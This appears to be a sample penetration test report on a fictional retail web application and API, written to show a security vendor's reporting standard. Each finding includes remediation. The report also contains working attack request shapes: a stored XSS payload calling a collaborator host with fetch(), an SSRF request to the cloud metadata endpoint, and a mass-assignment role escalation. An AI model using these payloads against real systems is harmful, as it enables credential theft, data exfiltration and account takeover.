DOCUMENT
GP-EXAMPLE-2026-001

CLASSIFICATION
Public example. Not confidential.

GHOST PROTOCOL (PVT) LTD // COLOMBO, SRI LANKA

§ PENETRATION TEST REPORT // EXAMPLE

WEB APPLICATION AND API PENETRATION TEST

Prepared for **Northwind Retail (example)**, a company that does not exist, so that a buyer can read a full Ghost Protocol report end to end before spending anything.

READ THIS FIRST: THE EXAMPLE IS SYNTHETIC

Northwind Retail is not a client. It is not a company. Every hostname, identifier, count, date, credential and evidence excerpt in this document was written for illustration and describes no real system and no real person.

What is **not** invented is the work. Every finding below is a real vulnerability class. The descriptions, the CVSS v3.1 vectors, the reproduction steps and the remediation are written to be technically correct, because the thing this document is meant to show you is the standard, not a plausible story. Check the arithmetic: the vector is printed next to every score.

A report issued for a real engagement is confidential to that client and is never published, because it contains working reproduction steps against a live system. Ghost Protocol shares an anonymised real report under mutual NDA on request: ryan@ghosts.lk.

CLIENT	Northwind Retail (example). Fictional.
ENGAGEMENT	Fixed-price web application and API penetration test
SCOPE CAP	One web app plus its API, up to three hostnames and two user roles, one price, held.
TEST WINDOW	2026-06-15 to 2026-06-19 (illustrative)
REPORT ISSUED	2026-06-22 · re-test addendum 2026-07-09
LEAD ENGINEER	Ryan Sebastian, Ghost Protocol (Pvt) Ltd
METHODOLOGY	OWASP Top 10 (2021), OWASP API Security Top 10 (2023), OWASP Web Security Testing Guide, NIST SP 800-115

01 HOW TO READ THIS

WHAT IS REAL HERE, AND WHAT IS NOT

INVENTED FOR THE EXAMPLE

- The client, the brand, the business and every person implied by it.
- Hostnames, paths, identifiers, tokens, order numbers, record counts.
- Dates, the engagement number, and the request and response excerpts.
- The scanner module labels in the provenance appendix. They stand in for the modules that actually fire, and are named here only to show that the report names them.

REAL, AND MEANT TO BE CHECKED

- The vulnerability classes, and the mechanism described for each.
- The CVSS v3.1 vectors and the base scores they produce.
- The OWASP and CWE references.
- The remediation. It is the fix an engineer would actually apply, in the order they would apply it.
- The structure. A real engagement produces this document, in this order, with these fields filled.

Why an example rather than a redacted real report

Redaction is not a safe operation on a penetration test report. Removing a hostname does not remove the shape of an attack path, and the reproduction steps that make our reports useful are the same steps that make them dangerous in the wrong hands. So we did not redact a real engagement. We wrote a whole engagement that never happened, against a target that does not exist, and held the technical content to the same standard as a real one. Nothing was softened to make Ghost Protocol look better: one finding in the re-test addendum is still open, and one was formally accepted as a risk by the fictional client rather than fixed.

Handling, if this were the real thing

A real report of this kind is confidential to the client. It carries working reproduction steps against a live production system, which means it is an attack playbook for as long as the findings remain unfixed. Our standing guidance to clients: distribute on a need-to-know basis inside the engineering and security functions, share with auditors and enterprise reviewers under NDA only, never over an unencrypted channel or a general-access file share, and hand out the signed attestation letter, not this document, when a customer or a prospect asks for evidence of testing. The attestation letter exists for exactly that purpose and carries no technical detail.

DOCUMENT CONTROL

VERSION	DATE	CHANGE	AUTHOR
1.0	2026-06-22	Initial issue after the test window.	Ryan Sebastian
1.1	2026-07-09	Re-test addendum appended. Attestation letter reissued to match.	Ryan Sebastian

EXAMPLE

02 SCOPE AND RULES OF ENGAGEMENT

WHAT WAS TESTED, AND UNDER WHAT CONSTRAINTS

If something is not named in this section, the attestation letter does not cover it. That is the whole function of the section: a scope statement is a boundary, and a boundary that is vague is not a boundary.

IN SCOPE

`shop.northwind.example`	Customer web application. Grey box, credentials for two roles.
`api.northwind.example`	REST API, `/v2`. Same two roles.
`staff.northwind.example`	Internal order console. Merchant role only.

ROLES SUPPLIED

`customer`	Standard shopper account, two provisioned.
`merchant`	Staff console operator, one provisioned.

EXPLICITLY OUT OF SCOPE

- Mobile applications, iOS and Android.
- The internal corporate network and anything reachable only from it.
- Social engineering and phishing of employees.
- Denial of service and volumetric testing.
- Third-party services the client does not control: the payment processor, the identity provider, the CDN.
- Physical security.

SCOPE CAP FOR THIS TIER

One web app plus its API, up to three hostnames and two user roles, one price, held. Past those caps the engagement is quoted rather than fixed, because the fixed number would stop holding.

RULES OF ENGAGEMENT

- Written authorisation from the asset owner before the first packet. Testing without it is not a service we offer.
- Non-destructive throughout. No data modification outside accounts we created, no deletion, no denial of service.
- Test accounts prefixed `gp-test-` so the client can find and remove every artefact we left.
- Any CRITICAL finding is reported out of band within one hour of confirmation, not held for the report.
- Traffic from two fixed source addresses, supplied to the client before the window opened for allow-listing and log correlation.
- Evidence retained encrypted for 90 days, then destroyed. No client data leaves the engagement.

CONSTRAINTS AND LIMITATIONS

- Time-boxed. A penetration test is a sample of an attacker's effort inside a fixed window, not a proof that no other weakness exists. Absence of a finding is not evidence of absence.
- Testing ran against the staging environment at the client's request. Staging tracked production at the commit level, but configuration differences, notably the WAF, may change exploitability in production.
- The WAF was placed in monitoring mode for the test window so the application, not the filter, was measured. Production runs it in blocking mode.
- Payment flows were exercised in the processor's test mode only.
- Source code was not provided. This was grey-box testing with credentials, not a code review.

EXAMPLE

03 EXECUTIVE SUMMARY

ONE PAGE, PLAIN ENGLISH

We were able to create an administrator account on the Northwind Retail application from the public internet, without a password, without an invitation, and without touching any staff system. That single weakness gives an attacker the whole customer database. It is fixed now. Nothing else we found comes close to it.

1	2	2	1	1
CRITICAL	HIGH	MEDIUM	LOW	INFORMATIONAL

Seven entries in total, of which six are findings carrying risk and one is an observation carrying none. That count is deliberately small. A report with two hundred entries is a scanner export, and the work of separating the six that matter from the noise is the work you are paying for. During this engagement the automated sweep raised 214 candidate signals; 4 survived verification and appear here. The rest were false positives, duplicates of one another, or true but not worth your engineers' attention.

What we actually found

The pattern across this application is authorisation, not input handling. The team has clearly done work on injection and on transport security, and it shows: we found no SQL injection, no command injection, no authentication bypass on the login flow, and TLS configuration was current throughout. What is missing is a consistent server-side check of *who is asking*. Three of the six findings, including the critical one, are the same mistake wearing different clothes: the application trusts a property that arrived in the request. Fixing that pattern once, as an architectural rule rather than six patches, is the highest-value thing this engineering team can do.

The three decisions to make this week

NO.	DECISION	OWNER	BY WHEN
01	**Ship the registration fix and audit for other administrator accounts.** The critical finding was reported to your CTO by phone on 16 June, within the hour, and patched the same day. What remains is to confirm no account was created this way before the fix. The query is in the finding page.	Engineering lead	Immediate
02	**Make ownership checks a framework concern, not a per-handler one.** Two findings exist because each handler is trusted to scope its own query. Move that into the data layer so a new endpoint cannot forget it.	Engineering lead	This sprint
03	**Decide whether the staff console is in your security boundary.** It runs without a Content-Security-Policy and renders customer-supplied text as markup. That is a policy decision about an internal tool, and it should be made deliberately rather than by default.	CTO	This quarter

Posture at the close of the re-test. Five of six findings are fixed and verified. One medium remains partially mitigated and open. One low was formally accepted as a risk by the client, in writing, with a stated end date. No critical or high finding remains open. The reissued attestation letter on the final page states exactly that and nothing more.

EXAMPLE

04 METHODOLOGY AND RATING

NAMED METHOD, PRINTED ARITHMETIC

"Industry best practices" is not a methodology. This is the one we ran, and the rating model is stated here rather than implied, so that any number in this report can be argued with.

PROCESS: NIST SP 800-115

Planning	Scope, authorisation, rules of engagement, success criteria, escalation path.
Discovery	Enumeration of hosts, routes, parameters, roles and state transitions. Automated sweep plus manual mapping of the application's own logic.
Attack	Verification, exploitation and chaining. Nothing enters this report on scanner output alone.
Reporting	This document, the developer-format findings, and the attestation letter.

COVERAGE: OWASP

Top 10 (2021)	The web application surface, all ten categories.
API Top 10 (2023)	The /v2 API surface, where object-level and property-level authorisation live.
WSTG	The OWASP Web Security Testing Guide as the per-control test list: identity, authentication, authorisation, session, input, error handling, business logic, client side.
Business logic	Manual, and not derived from any list: price and quantity tampering, coupon and refund abuse, multi-step flows replayed out of order, and cross-role state.

How severity is decided

Each finding carries a CVSS v3.1 base score and, next to it, the vector it was computed from. Printing the vector is the point: a score without a vector is an assertion, and a score with one can be recomputed by your own team or your auditor in about a minute. The printed severity is the CVSS qualitative band of that base score. Where an engagement genuinely needs a band that differs from the arithmetic, because business context makes the impact larger or smaller than the generic model assumes, the finding's rationale field carries that argument in writing. In this example no finding needed one: every band below is the arithmetic.

BAND	BASE SCORE	WHAT IT MEANS FOR YOU
CRITICAL	9.0 to 10.0	A direct path to data exposure or account takeover, exploitable now. Reported by phone within an hour of confirmation, never held for the report.
HIGH	7.0 to 8.9	An exploitable weakness with serious impact. The re-test expects it fixed.
MEDIUM	4.0 to 6.9	A real weakness that needs preconditions, chaining, or an authenticated position. Schedule it deliberately.
LOW	0.1 to 3.9	Hardening gaps and defence-in-depth misses. Batch them into normal maintenance.
INFO	Not scored	An observation worth knowing that is not a risk on its own. Never scored, never counted as a finding, never used to pad the total.

Severity inflation is the quiet fraud of this industry. A missing response header rated HIGH makes a report look thorough on page one and worthless by page twelve, and it costs the reader the ability to prioritise, which was the only thing the rating was for.

EXAMPLE

05 FINDINGS

THE REGISTER

Every entry gets a full page after this one. The identifier is stable: the re-test addendum and the developer-format findings reference the same string, so the fix trail is auditable from this table to the signature.

ID	FINDING	SEVERITY	CVSS	CATEGORY	RE-TEST
GP-NWR-01	Mass assignment on customer registration grants the administrator role	CRITICAL	9.8	API3:2023 CWE-915	FIXED
GP-NWR-02	Broken object-level authorisation on order read and update	HIGH	8.1	API1:2023 CWE-639	FIXED
GP-NWR-03	Server-side request forgery in the product image importer	HIGH	7.7	A10:2021 CWE-918	FIXED
GP-NWR-04	No rate limiting or lockout on authentication and password reset	MEDIUM	6.5	API4:2023 CWE-307	OPEN
GP-NWR-05	Stored cross-site scripting in the order note, rendered by the staff console	MEDIUM	5.4	A03:2021 CWE-79	FIXED
GP-NWR-06	Session cookie issued without the Secure attribute, with SameSite=None	LOW	3.7	A05:2021 CWE-614	ACCEPTED
GP-NWR-07	Framework and version disclosed in response headers and error pages	INFO	n/a	A05:2021 CWE-200	FIXED

What is not in this table. We tested for SQL and command injection across every parameter reachable in the two roles, for authentication bypass on the login and reset flows, for price and quantity tampering through the cart and checkout, for coupon and refund abuse, for insecure direct references on the file and invoice endpoints, and for TLS and certificate weaknesses on all three hosts. None produced a finding. That is worth as much to you as the list above, and most reports do not print it.

EXAMPLE

GP-NWR-01 CRITICAL CVSS v3.1 base 9.8

MASS ASSIGNMENT ON CUSTOMER REGISTRATION GRANTS THE ADMINISTRATOR ROLE

ASSET	POST /v2/customers	VECTOR	AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CATEGORY	API3:2023 · A01:2021 · CWE-915	PROVENANCE	Manual. Engineer.

DESCRIPTION

The registration handler binds the whole parsed request body onto the customer model before persisting it. The model carries a `role` property, and that property is not on an allow-list, so an unauthenticated caller can set it at creation time. An account created with `"role":"admin"` is issued a session that the API treats as administrative on the very next login, which grants read and write access to every customer record, every order and the refund endpoint. No credential, invitation or staff access is needed, and the property name is visible in the JSON the application itself returns.

SEVERITY RATIONALE

Network reachable, no privilege, no user interaction, and an administrator can read, alter and delete every record, so all three impact metrics are high. The vector computes to 9.8. Reported to the client by phone at `2026-06-16 09:40 +0530`, forty minutes after confirmation, under the out-of-band rule.

EVIDENCE

```
POST /v2/customers HTTP/1.1
Host: api.northwind.example
Content-Type: application/json

{"email":"gp-test-01@ghosts.lk","password":"[REDACTED]","name":"GP Test","role":"admin"}

HTTP/1.1 201 Created
Content-Type: application/json

{"id":48211,"email":"gp-test-01@ghosts.lk","name":"GP Test","role":"admin",
 "createdAt":"2026-06-16T03:22:41Z"}
```

```
GET /v2/admin/customers?limit=1 HTTP/1.1
Host: api.northwind.example
Authorization: Bearer [REDACTED]

HTTP/1.1 200 OK

{"total":12480,"items":[{.. one customer record, withheld.. }]}
```

The record body is withheld. A real engagement's evidence appendix carries one sanitised record with every identifying field masked: proving the endpoint returns customer data does not require reproducing any.

REPRODUCTION

1. Send the registration request above, adding `"role":"admin"` to the body. The API answers `201` and echoes the role back.
2. Authenticate at `POST /v2/sessions` with that email and password. Decode the returned token: the payload carries `"role":"admin"`.
3. Call `GET /v2/admin/customers?limit=1` with that token. It answers `200` where an unprivileged token receives `403`.
4. Delete the account. Ours was removed at `2026-06-16T05:02Z`.

REMEDIATION

- Bind an explicit allow-list: accept only `email`, `password` and `name`, and build the model from that projection. Never spread a parsed body onto a persisted model.
- Set `role` server-side to the default, and treat every privilege-bearing property the same way on every create and update endpoint, not just this one.
- Authorise `/v2/admin/*` against the stored record, not the claim in the token. A token is a client-held assertion; the database is the fact.
- Audit for accounts already created this way: `SELECT id, email, created_at FROM customers WHERE role <> 'customer' AND id NOT IN (<known staff ids>)`, then check the creation source in the access log for each.
- Add a regression test that posts a privileged property to every create and update route and asserts it is ignored. This bug returns the moment a field is added to the model.

GP-NWR-02 HIGH CVSS v3.1 base 8.1

BROKEN OBJECT-LEVEL AUTHORISATION ON ORDER READ AND UPDATE

ASSET	GET and PATCH /v2/orders/{orderId}	VECTOR	AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CATEGORY	API1:2023 · A01:2021 · CWE-639	PROVENANCE	Manual. Engineer.

DESCRIPTION

The order handler loads an order by its identifier and returns it without checking that the authenticated customer owns it. The identifier is a sequential integer, so the whole order history of the business is enumerable from any one customer account at roughly one order per request. The response carries the buyer's name, delivery address, phone, line items and the last four digits of the card. The same missing check applies to `PATCH`, so a customer can rewrite the delivery address on an order that is not theirs, which turns a privacy failure into a fraud primitive.

SEVERITY RATIONALE

Exploitation needs an account, which is free to create, so privileges required is low rather than none. Confidentiality and integrity are both high: every order in the system can be read, and any of them can be altered. Availability is unaffected. The vector computes to 8.1. It is not rated critical because it requires an authenticated position, and the distinction between "anyone on the internet" and "anyone with an account" is the distinction the two bands exist to draw.

EVIDENCE

```
GET /v2/orders/90512 HTTP/1.1
Host: api.northwind.example
Authorization: Bearer [token for gp-test-02, customer id 48215]

HTTP/1.1 200 OK

{"id":90512,"customerId":48214,"status":"shipped",
 "shipTo":{"name":"[REDACTED]","line1":"[REDACTED]","city":"[REDACTED]","phone":"[REDACTED]"},
 "items":[{"sku":"NW-4471","qty":2,"price":"38.00"}],
 "card":{"brand":"visa","last4":"[REDACTED]"}}
```

```
PATCH /v2/orders/90512 HTTP/1.1
Host: api.northwind.example
Authorization: Bearer [token for gp-test-02, customer id 48215]
Content-Type: application/json

{"shipTo":{"line1":"gp-test marker, no delivery requested"}}

HTTP/1.1 200 OK     ← the order belongs to customer 48214, not 48215
```

The address was restored immediately after capture; the engagement log records both writes.

REPRODUCTION

1. Register two customer accounts, A and B. Place one order as A and note its identifier from the confirmation page.
2. Authenticate as B and request A's order identifier at `GET /v2/orders/{id}`. It answers `200` with A's data.
3. Decrement the identifier and repeat. Every value that exists answers `200`; only values that do not exist answer `404`. That difference is the enumeration oracle.
4. Send a `PATCH` to the same identifier as B, altering `shipTo`. It answers `200` and the change persists.

REMEDIATION

- Scope the query, not the response. Load the order with `WHERE id = :id AND customer_id = :session_customer_id` so a non-owned identifier cannot be loaded at all. Filtering after the load is one refactor away from leaking again.
- Put that scoping in the data-access layer so a new endpoint inherits it. Two of the findings in this report exist because each handler is trusted to remember; handlers forget.
- Answer `404`, not `403`, for an object the caller may not see. A `403` confirms the object exists, which is the enumeration oracle in step three.
- Apply the same rule to `PATCH`, `DELETE` and every sub-resource of the order, including invoices and shipment tracking.
- Opaque identifiers, UUIDv4 in place of the sequence, raise the cost of enumeration and are worth doing. They are defence in depth, not a fix: an unguessable identifier is not an authorisation check.
- Add a test per role that requests another role's object and asserts 404, and run it in CI.

GP-NWR-03 HIGH CVSS v3.1 base 7.7

SERVER-SIDE REQUEST FORGERY IN THE PRODUCT IMAGE IMPORTER

ASSET	POST /v2/admin/products/{id}/image, sourceUrl	VECTOR	AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CATEGORY	A10:2021 · API7:2023 · CWE-918	PROVENANCE	Manual. Engineer.

DESCRIPTION

The image importer fetches an operator-supplied URL from the server with no scheme or host restriction, and follows redirects. A merchant-role user can therefore make the application issue requests to addresses that are not routable from the internet, including the cloud provider's instance metadata service on `169.254.169.254`. When the fetched body is not a valid image the importer returns it inside its error payload, so the forgery is not blind: whatever the server read comes back. The metadata service on this host answered without a session token, exposing the instance role's temporary credentials.

SEVERITY RATIONALE

Scope is changed: the vulnerable component is the application, but the confidentiality lost belongs to the cloud account's credential service, a different security authority. Confidentiality is high because the returned document is a working credential. Integrity is none because we did not use it, under the non-destructive rule. The vector computes to 7.7.

EVIDENCE

```
POST /v2/admin/products/771/image HTTP/1.1
Host: api.northwind.example
Authorization: Bearer [merchant token]
Content-Type: application/json

{"sourceUrl":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

HTTP/1.1 415 Unsupported Media Type

{"error":"not an image","upstreamBody":"northwind-app-instance-role\n"}
```

```
{"sourceUrl":"…/security-credentials/northwind-app-instance-role"}

HTTP/1.1 415 Unsupported Media Type
{"error":"not an image","upstreamBody":"{\"AccessKeyId\":\"[REDACTED]\",
  \"SecretAccessKey\":\"[REDACTED]\",\"Expiration\":\"2026-06-17T11:04:22Z\"}"}
```

Credential values are withheld and were reported out of band with a recommendation to rotate the role immediately. They were never used.

REPRODUCTION

1. Authenticate as a merchant-role user and pick any product identifier.
2. Post the image import with `sourceUrl` pointing at `http://169.254.169.254/latest/meta-data/`. The 415 response body carries the upstream content.
3. Walk the metadata tree to the role name, then to its credential document.
4. Confirm the redirect path: an external host returning 302 to the metadata address is followed, which is why validating only the submitted URL does not close this.

REMEDIATION

- Allow-list scheme and host: `https` only, and only hosts the business imports from. A deny-list of private ranges is the weaker half and will be bypassed.
- Resolve the hostname yourself, reject loopback, link-local, private and carrier-grade NAT ranges, then connect to the resolved address rather than the name, so the answer cannot change between check and connect. That gap is DNS rebinding, the standard bypass for this control.
- Re-run the same validation on every redirect hop, or stop following redirects altogether. Validating only the submitted URL is the bug in step four.
- Never return an upstream response body to the caller. Return a generic import error and log the detail server-side.
- Require a session token on the metadata service, IMDSv2 on AWS or the equivalent header requirement elsewhere, so one unauthenticated GET cannot retrieve a credential. Then rotate the exposed role.
- Route outbound fetches through an egress proxy holding its own allow-list, so the control survives a code path that forgets it.

GP-NWR-04 MEDIUM CVSS v3.1 base 6.5

NO RATE LIMITING OR LOCKOUT ON AUTHENTICATION AND PASSWORD RESET

ASSET	POST /v2/sessions, POST /v2/password-resets	VECTOR	AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
CATEGORY	API4:2023 · A07:2021 · CWE-307	PROVENANCE	Scanner-detected, engineer-verified. Module: auth.throttle.

DESCRIPTION

Neither endpoint throttles. We sent 2,000 login attempts for a single known-good email address from one source address inside sixty seconds; all 2,000 were answered `401` with no delay, no lockout, no challenge and no change in response time. There is no per-account counter and no per-address counter. The password reset endpoint behaves the same way, which additionally makes it a mail-bombing primitive against any address an attacker knows, at the cost of one request each.

The login response also distinguishes an unknown email (`"no such account"`) from a wrong password (`"incorrect password"`), so the endpoint confirms which addresses are registered before any password is guessed. That halves the work of a credential-stuffing run against a breach corpus.

SEVERITY RATIONALE

Rated medium and not high, deliberately. No credential was recovered during the window: the impact depends on a valid pair existing in some breach corpus, which is a precondition we cannot demonstrate and will not assert. Confidentiality and integrity are scored low on that basis, which gives 6.5. If your user base reuses passwords, and most do, the real exposure is larger than the generic model says, which is an argument for fixing it this sprint rather than an argument for inflating the number.

EVIDENCE

```
2000 requests, 1 source address, 58.4s elapsed
POST /v2/sessions →  401 x 2000, 0 x 429, 0 x 423
median response 41ms, p95 63ms, no trend across the run
no Retry-After, no lockout on the account afterwards (verified by logging in
with the correct password on attempt 2001)
```

```
POST /v2/sessions {"email":"not-a-user@example.test","password":"x"}
 → 401 {"error":"no such account"}
POST /v2/sessions {"email":"gp-test-02@ghosts.lk","password":"x"}
 → 401 {"error":"incorrect password"}
```

REPRODUCTION

1. Take one account you control. Send login attempts with a wrong password in a loop and count the status codes. Nothing but `401` comes back.
2. Log in with the correct password afterwards. It succeeds, which shows there is no lockout state at all.
3. Send the two requests in the second evidence block and compare the error strings.
4. Request a password reset for the same address ten times in a row. Ten emails arrive.

REMEDIATION

- Rate-limit per account and per source address, independently. Per-address alone is defeated by a rotating proxy pool; per-account alone lets an attacker spray one password across every account.
- Apply exponential backoff and a step-up challenge after a small number of failures rather than a hard lockout, which is itself a denial-of-service lever against your own users.
- Return one generic message for every authentication failure, and make the two paths take the same time. A constant-time comparison is pointless if the unknown-account branch returns before the hash is ever computed.
- Rate-limit password reset per target address and per source, and cap the number of live reset tokens per account.
- Alert on the aggregate, not the individual: many accounts, one password, many addresses is the shape of credential stuffing, and no per-address counter will see it.

EXAMPLE

GP-NWR-05 MEDIUM CVSS v3.1 base 5.4

STORED CROSS-SITE SCRIPTING IN THE ORDER NOTE, RENDERED BY THE STAFF CONSOLE

ASSET	POST /v2/orders, note. Rendered at staff /orders/{id}	VECTOR	AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
CATEGORY	A03:2021 · CWE-79	PROVENANCE	Scanner-detected, engineer-verified. Module: inject.xss-stored.

DESCRIPTION

The delivery note a customer types at checkout is stored verbatim and written into the staff order console as markup rather than as text. Any customer can therefore place a real order whose note contains script, and that script runs in the browser of the staff member who opens the order, inside the console's origin and with the staff session attached. The console serves no Content-Security-Policy, so there is nothing behind the missing escape.

The realistic use is not defacement. It is one cheap order that waits for a human to open it, then acts as that human against the console API: reading the customer list a page at a time, altering an order, issuing a refund. The victim sees an order.

SEVERITY RATIONALE

Scope is changed: the script executes in the staff console origin while the vulnerable input belongs to the customer application. Interaction is required, and in practice a staff member does open the order. Confidentiality and integrity are low because the payload acts within one session rather than taking the console's data store, and the session cookie is `HttpOnly` so it cannot be read by script. The vector computes to 5.4.

EVIDENCE

```
POST /v2/orders HTTP/1.1
Host: api.northwind.example
Content-Type: application/json

{"items":[{"sku":"NW-4471","qty":1}],
 "note":"<img src=x onerror=\"fetch('https://gp-collab.example/'+document.title)\">"}

HTTP/1.1 201 Created  {"id":90604,..}
```

```
Staff console, GET /orders/90604
  the note renders as an <img> element, not as text
  outbound request observed at the collaborator host, from the staff session
  no Content-Security-Policy on staff.northwind.example
```

The payload was a callback to a host we control and did nothing else. The test order was cancelled and the note cleared.

REPRODUCTION

1. Place an order as a customer with the note field set to the payload above.
2. Open that order in the staff console as a merchant-role user.
3. Observe the request arriving at the collaborator host. View source on the order page: the note is inside the DOM as an element, not as escaped text.

REMEDIATION

- Render the note as text. In a React console that means passing the string as a child, never through `dangerouslySetInnerHTML`; in a template language it means the escaping filter, not the raw one. Escape on output, where the context is known, not on input.
- If the note genuinely needs formatting, sanitise server-side with a maintained allow-list sanitiser and again on render. Do not write your own.
- Serve a Content-Security-Policy on the console with a nonce-based `script-src` and no `unsafe-inline`. It does not replace the escape; it is what stops the next missed sink from being immediately exploitable.
- Keep the session cookie `HttpOnly`, which it already is, and close `GP-NWR-06` while you are here: it is issued `SameSite=None` today, which is the one value that lets the console session ride a cross-site request.
- Input validation on length and character class is worth having and is not a control here. Treat it as noise reduction, not as the fix.

GP-NWR-06 LOW CVSS v3.1 base 3.7

SESSION COOKIE ISSUED WITHOUT THE SECURE ATTRIBUTE, WITH SAMESITE=NONE

ASSET	Set-Cookie on POST /v2/sessions, all hosts	VECTOR	AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
CATEGORY	A05:2021 · CWE-614 · CWE-1275	PROVENANCE	Scanner-detected, engineer-verified. Module: http.cookie-flags.

DESCRIPTION AND RATIONALE

The session cookie is set as `nw_session=...; Path=/; HttpOnly; SameSite=None`, with no `Secure` attribute. Two consequences. First, the browser is willing to send the session over cleartext HTTP, so an attacker on the network path can capture it on any request that somehow leaves TLS. HSTS is present with a six-month `max-age`, which narrows that to a first visit before the policy is pinned, or a subdomain the policy does not cover, which is why this is rated low rather than higher. Second, and more immediately practical: current browsers reject a `SameSite=None` cookie that is not `Secure`, so the cookie is being silently dropped in exactly the cross-site contexts the attribute was set for. The flag combination is not doing what it was written to do.

EVIDENCE

```
HTTP/1.1 200 OK
Set-Cookie: nw_session=[REDACTED]; Path=/; HttpOnly; SameSite=None
Strict-Transport-Security: max-age=15552000
```

REMEDIATION

- Set `Secure; HttpOnly; SameSite=Lax`. Use `Strict` if no cross-site entry point needs the session, and keep `None` only where an embedded third-party context genuinely requires it, in which case `Secure` is mandatory rather than advisable.
- Add the `__Host-` name prefix once no subdomain needs to read the cookie. It pins the cookie to the exact origin and forbids a subdomain from overwriting it.
- Raise HSTS to twelve months and add `includeSubDomains` after confirming every subdomain serves HTTPS. Add `preload` only after that has been stable, because removal from the preload list is slow.

GP-NWR-07 INFO Not scored

FRAMEWORK AND VERSION DISCLOSED IN HEADERS AND ERROR PAGES

ASSET	Response headers, all hosts. 500 error body.	VECTOR	Not scored. Observation, not a finding.
CATEGORY	A05:2021 · CWE-200	PROVENANCE	Scanner-detected, engineer-verified. Module: recon.banner.

OBSERVATION

Every response carries `X-Powered-By`, and an unhandled server error returns a stack trace with absolute file paths and the framework version. We looked for a version-specific weakness reachable from that information and did not find one, so this is recorded as an observation and carries no score and no severity band. It appears here because it shortens an attacker's reconnaissance, not because it is a vulnerability. Padding a report with entries like this one, scored and counted, is the most common way a scanner export is made to look like a penetration test.

REMEDIATION

- Disable the header at the framework level.
- Return a generic error body in production with a correlation identifier, and log the trace server-side against that identifier.

06 APPENDIX A

PROVENANCE: WHERE EACH FINDING CAME FROM

Every entry is tagged with its origin, and the totals are printed. Most vendors omit this appendix, because it shows how much of the deliverable was a tool run. It is the most honest number in the report: it is the one that tells you what the engineer's time actually produced.

ID	SEVERITY	ORIGIN	DETECTED BY
GP-NWR-01	CRITICAL	Manual. Found by reading the API's own response, which echoed a property the client never sent.	Engineer
GP-NWR-02	HIGH	Manual. Two accounts, one identifier, a guess about the query.	Engineer
GP-NWR-03	HIGH	Manual. The importer was found during route mapping; the metadata path was tested by hand.	Engineer
GP-NWR-04	MEDIUM	Scanner-detected, engineer-verified. The module flagged the absence; the engineer measured it and found the user-enumeration difference, which the module did not see.	auth.throttle
GP-NWR-05	MEDIUM	Scanner-detected, engineer-verified. The module found the reflection; the engineer confirmed execution in the staff origin and established the cross-origin impact.	inject.xss-stored
GP-NWR-06	LOW	Scanner-detected, engineer-verified.	http.cookie-flags
GP-NWR-07	INFO	Scanner-detected, engineer-verified, and deliberately left unscored.	recon.banner

THE SPLIT

Found by the engineer, manually	3 of 7
Scanner-detected, then verified by hand	4 of 7
Entered the report on scanner output alone	0 of 7

The three highest-rated findings are manual, and that is the usual shape. A scanner is very good at the absence of a control and close to useless at authorisation logic, because it has no idea which objects belong to whom.

WHAT THE SWEEP PRODUCED

Candidate signals raised across the pipeline	214
Survived engineer verification	4
Discarded: false positive	137
Discarded: duplicate of another signal	58
True, but below the bar for an observation	15

A vendor who ships the 214 has handed you their triage work as a deliverable. The 210 that were removed are the reason this document is seven entries long, and removing them is most of what the engineering days paid for.

EXAMPLE

07 APPENDIX B

RE-TEST ADDENDUM

The re-test is included in the engagement, not sold afterwards. It ran on 2026-07-08, sixteen days after the report was issued, against the same scope. Every finding receives a final status here, and the attestation letter was reissued the following day to match. The document that ends up circulating is this one, not the version written before the fixes.

RISK ACCEPTED is the client's declaration, not ours. We record who made the call and what they said, verbatim, and the finding stays in the register with that status rather than disappearing. An auditor reading this can see the decision and its owner.

ID	STATUS	VERIFICATION
GP-NWR-01	FIXED	Registration now builds the model from an explicit three-field projection. A body carrying `role` is accepted and the property ignored; the created account is `customer`. The admin route was re-tested with that account and answers 403. The client ran the audit query and reported no unexplained privileged accounts.
GP-NWR-02	FIXED	Order queries are scoped in the data layer. A non-owned identifier now answers 404 on both GET and PATCH, which also closes the enumeration oracle. Sub-resources, invoice and tracking, were re-tested and behave the same.
GP-NWR-03	FIXED	The importer resolves and validates the address before connecting, re-validates on each redirect hop, and returns a generic error with no upstream body. The DNS rebinding case was re-tested and rejected. IMDSv2 is enforced on the instance and the exposed role was rotated on 17 June.
GP-NWR-04	OPEN	**Partially mitigated.** A per-address limit is in place: the same 2,000-attempt run from one address is now cut off after 40 attempts with 429. There is still no per-account counter, so the same run distributed across 60 source addresses completed with no throttling at all, and we reproduced that. The error strings still distinguish an unknown account from a wrong password. This finding remains open and is carried into the attestation letter as open.
GP-NWR-05	FIXED	The note renders as text. The stored payload from the original test, replayed, appears as visible characters in the console and issues no request. A Content-Security-Policy is not yet deployed on the console; that was raised as a hardening item, not as an open finding, because the sink is closed.
GP-NWR-06	ACCEPTED	**Risk accepted by the client.** Recorded verbatim from the CTO by email on 7 July: "We will set Secure and move to SameSite=Lax when the legacy partner checkout on the HTTP subdomain is retired, which is scheduled for Q4. Until then we accept this." No change was made and none was expected. The cookie flags are unchanged on re-test.
GP-NWR-07	FIXED	The header is gone and the 500 handler returns a generic body with a correlation identifier.

5	1	1	0	0
FIXED AND VERIFIED	STILL OPEN	RISK ACCEPTED	CRITICAL OR HIGH, OPEN	NEW ON RE-TEST

EXAMPLE

08 ATTESTATION LETTER // SPECIMEN

ATTESTATION OF PENETRATION TESTING

ISSUED TO	Northwind Retail (example). Fictional.
ISSUED BY	Ghost Protocol (Pvt) Ltd, Colombo, Sri Lanka
DATE	2026-07-09 (reissued after re-test)
REFERENCE	GP-EXAMPLE-2026-001

To whom it may concern,

Ghost Protocol (Pvt) Ltd performed an independent penetration test of the web application and application programming interface operated by Northwind Retail, covering the hosts `shop.northwind.example`, `api.northwind.example` and `staff.northwind.example`, in the roles of an unauthenticated user, a customer and a merchant operator.

Testing was conducted between 15 June 2026 and 19 June 2026, with a re-test of all findings on 8 July 2026. The engagement followed the methodology of NIST Special Publication 800-115, with coverage taken from the OWASP Top 10 (2021), the OWASP API Security Top 10 (2023) and the OWASP Web Security Testing Guide. Findings were rated using CVSS version 3.1 base metrics. Testing was authorised in writing by the client and conducted under a non-destructive rule of engagement.

